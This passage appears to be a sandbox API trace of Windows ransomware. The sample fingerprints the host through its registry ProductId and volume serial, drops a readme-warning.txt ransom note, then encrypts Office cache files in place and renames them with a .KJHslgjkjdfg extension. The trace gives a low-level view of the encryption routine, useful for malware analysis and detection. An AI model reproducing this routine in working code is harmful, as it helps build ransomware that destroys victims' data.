lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0153.911] GetProcessHeap () returned 0x2ef0000 [0153.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0153.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.911] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0153.911] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.911] GetProcessHeap () returned 0x2ef0000 [0153.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0153.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.911] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0153.911] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.911] GetProcessHeap () returned 0x2ef0000 [0153.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0153.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.911] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0153.911] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.911] GetProcessHeap () returned 0x2ef0000 [0153.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0153.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.911] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0153.911] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.911] GetProcessHeap () returned 0x2ef0000 [0153.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0153.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.912] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0153.912] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.912] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0153.912] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0153.912] RegCloseKey (hKey=0x124) returned 0x0 [0153.912] GetProcessHeap () returned 0x2ef0000 [0153.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0153.912] GetProcessHeap () returned 0x2ef0000 [0153.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0153.912] GetProcessHeap () returned 0x2ef0000 [0153.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0153.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0153.912] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0153.912] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.912] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.912] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.913] GetProcessHeap () returned 0x2ef0000 [0153.913] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0153.913] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.913] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.913] GetProcessHeap () returned 0x2ef0000 [0153.913] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0153.913] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0153.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.913] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0153.914] CloseHandle (hObject=0x124) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0153.915] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0153.915] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0153.915] GetProcessHeap () returned 0x2ef0000 [0153.915] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0153.915] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0153.974] GetProcessHeap () returned 0x2ef0000 [0153.975] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0153.975] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.975] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0153.975] GetProcessHeap () returned 0x2ef0000 [0153.975] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0153.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.976] GetProcessHeap () returned 0x2ef0000 [0153.976] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0153.976] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0153.976] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0153.976] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.976] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.976] GetProcessHeap () returned 0x2ef0000 [0153.976] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0153.976] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0153.976] CryptDestroyKey (hKey=0x2f18208) returned 1 [0153.976] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0153.979] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.979] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0153.979] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0153.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0153.979] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0153.979] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0153.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.979] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd5600, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xd5600, lpOverlapped=0x0) returned 1 [0154.009] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd5600, dwBufLen=0xd5600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd5600) returned 1 [0154.053] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.054] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xd5600, lpOverlapped=0x0) returned 1 [0154.057] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd56d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.057] SetEndOfFile (hFile=0x124) returned 1 [0154.060] GetProcessHeap () returned 0x2ef0000 [0154.060] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0154.061] GetProcessHeap () returned 0x2ef0000 [0154.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0154.061] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.kjhslgjkjdfg")) returned 1 [0154.062] CloseHandle (hObject=0x124) returned 1 [0154.062] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0154.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.062] GetProcessHeap () returned 0x2ef0000 [0154.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0154.062] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0154.062] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0154.062] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x9, lpOverlapped=0x0) returned 1 [0154.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0154.148] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.148] GetProcessHeap () returned 0x2ef0000 [0154.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0154.148] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0154.149] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.149] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0154.149] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.149] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0154.149] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0154.149] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0154.155] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0154.155] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0154.155] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.155] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x567, lpOverlapped=0x0) returned 1 [0154.155] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x570, dwBufLen=0x570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x570) returned 1 [0154.156] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.156] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x570, lpOverlapped=0x0) returned 1 [0154.156] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.156] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.156] SetEndOfFile (hFile=0x124) returned 1 [0154.159] GetProcessHeap () returned 0x2ef0000 [0154.159] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0154.159] GetProcessHeap () returned 0x2ef0000 [0154.159] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0154.159] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0154.167] CloseHandle (hObject=0x124) returned 1 [0154.167] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0154.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.168] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2928955) returned 1 [0154.168] GetProcessHeap () returned 0x2ef0000 [0154.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0154.168] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0154.168] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.168] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x5, lpOverlapped=0x0) returned 1 [0154.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0154.208] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.208] GetProcessHeap () returned 0x2ef0000 [0154.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0154.208] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0154.208] CryptDestroyKey (hKey=0x2f18208) returned 1 [0154.208] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0154.208] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, 